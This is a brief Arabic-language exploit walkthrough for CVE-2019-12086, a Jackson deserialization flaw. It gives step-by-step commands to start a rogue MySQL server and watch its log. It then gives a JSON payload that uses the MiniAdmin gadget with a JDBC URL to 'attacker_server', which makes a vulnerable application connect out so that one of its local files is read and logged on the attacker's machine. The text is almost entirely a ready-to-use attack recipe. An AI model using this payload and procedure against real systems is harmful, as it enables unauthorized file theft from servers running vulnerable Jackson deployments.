وصف المستند

CVE-2019-12086 jackson unserialize

استغلال الثغرة

1. تشغيل خادم MySQL الخبيث:

python rogue_mysql_server.py

2. عرض mysql.log في نفس الدليل:

tail -f mysql.log

3. إرسال JSON التالي إلى التطبيق المعرض للثغرة:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

عند إلغاء تسلسل Jackson لسلسلة JSON الخبيثة، سيتصل بخادم MySQL الخبيث، وسيتم كتابة محتوى الملف المقروء في mysql.log للخادم الخبيث.